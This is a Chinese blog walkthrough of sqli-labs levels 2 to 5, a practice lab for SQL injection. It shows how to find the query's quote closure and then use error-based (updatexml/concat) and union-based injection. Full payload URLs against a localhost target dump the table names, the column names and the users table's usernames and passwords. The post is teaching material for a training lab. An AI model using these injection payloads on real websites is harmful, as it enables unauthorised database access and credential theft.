sqli-labs靶场通关攻略(2-5关)

第二关

进入后判断闭合方式

--+闭合成功

使用报错函数,报错函数里面三个参数,写三个1占位置

我们可以操控的是第二个参数的位置所以第二个参数的位置换成concat()函数,这个函数也有两个参数,写两个1占位置

我们可以操控的地方也是第二个参数的位置 把第二个参数的位置换成(),里面写我们的子查询语句 成功查出数据库名 后面查什么在子查询括号里面查就行

查表名http://127.0.0.1/Less-2/?id=1%20%20and%20updatexml(1,concat(1,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27)),1)--+

返回的结果超过一行,那么我们给table_name 加上group_concat成一个集合

http://127.0.0.1/Less-2/?id=1%20and%20updatexml(1,concat(1,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27)),1)--+

查列名

http://127.0.0.1/Less-2/?id=1%20and%20updatexml(1,concat(1,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27)),1)--+

查具体的username和password

http://127.0.0.1/Less-2/?id=1%20and%20updatexml(1,concat(1,(select%20group_concat(username,password)%20from%20users)),1)--+

第三关

首先确定闭合方式

判断字段列数 order by

只存在三列

那么我们查三列

页面显示的是id=1的数据,没有显示我们联合查询的数据,把人家前面查询的id的数据改成不存在的,比如-1

联合查询所有列

查询所有表中数据

http://127.0.0.1/Less-3/?id=-1%27)%20%20union%20select%201,2,group_concat(id,username,password)%20from%20users%20--+

第四关

也是同上的联合查询方法

第五关

发现有报我们就使用报错注入

获取数据库信息

使用报错函数,报错函数里面三个参数,写三个1占位置

我们可以操控的是第二个参数的位置所以第二个参数的位置换成concat()函数,这个函数也有两个参数,写两个1占位置

我们可以操控的地方也是第二个参数的位置 把第二个参数的位置换成(),里面写我们的子查询语句 成功查出数据库名 后面查什么在子查询括号里面查就行

查表名

返回的结果超过一行,那么我们给table_name 加上group_concat成一个集合

查列名

查具体的username和password

  • 12
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值